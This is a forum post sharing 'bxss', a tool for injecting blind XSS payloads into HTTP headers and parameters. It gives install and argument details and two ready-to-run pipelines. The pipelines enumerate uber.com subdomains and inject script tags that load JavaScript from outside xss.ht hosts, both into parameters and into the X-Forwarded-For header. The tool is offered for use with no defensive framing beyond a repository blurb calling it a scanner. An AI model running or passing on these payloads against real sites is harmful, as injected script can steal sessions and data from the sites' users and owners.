# Bxss | A Blind XSS Injector Tool

**URL:** <https://onehack.st/t/bxss-a-blind-xss-injector-tool/118635>\
**Category:** Tools & Scripts\
**Tags:** hacking, privacy\
**Created:** [September 21, 2020, 4:43pm UTC](https://onehack.st/t/bxss-a-blind-xss-injector-tool/118635 "2020-09-21T16:43:01Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![NoBody](https://onehack.st/user_avatar/onehack.st/nobody/32/163880_2.png) [@NoBody](https://onehack.st/u/NoBody)\
**Post date:** [September 21, 2020, 4:43pm UTC](https://onehack.st/t/bxss-a-blind-xss-injector-tool/118635/1 "2020-09-21T16:43:01Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/2/5/25157da839a6751cdfac8b5f97af3bdba3c550e6.jpeg)

**A Blind XSS Injector tool**

![bxss_2](https://onehack.st/uploads/default/original/3X/6/a/6a789322eeff898121f6a14ca95e46963f63533a.gif)

**Features**

- Inject Blind XSS payloads into custom headers
- Inject Blind XSS payloads into parameters
- Uses Different Request Methods (PUT,POST,GET,OPTIONS) all at once
- Tool Chaining
- Really fast
- Easy to setup

**Install**

**`$ go get -u github.com/ethicalhackingplayground/bxss`**

**Arguments**

```auto
          ____| _ | |_) |______  ___| _ < / /__ / __| | |_) |> <__  __|____ //_/ ____/___ / -- Coded by @z0idsec -- -appendMode Append the payload to the parameter -concurrency int Set the concurrency (default 30) -header string Set the custom header (default "User-Agent") -parameters Test the parameters for blind xss -payload string the blind XSS payload        

```

![bxss_3](https://onehack.st/uploads/default/original/3X/e/1/e1c9881756b52da283af8d22b9994d30f9bad57b.gif)

**Blind XSS In Parameters**

**`$ subfinder uber.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://hacker.xss.ht></script>' -parameters`**

**Blind XSS In X-Forwarded-For Header**

**`$ subfinder uber.com | gau | bxss -payload '"><script src=https://z0id.xss.ht></script>' -header "X-Forwarded-For"`**

## GitHub:

> **[GitHub - ethicalhackingplayground/bxss: Blind XSS Scanner is a tool that can be used to...](https://github.com/ethicalhackingplayground/bxss)**
>
> Blind XSS Scanner is a tool that can be used to scan for blind XSS vulnerabilities in web applications.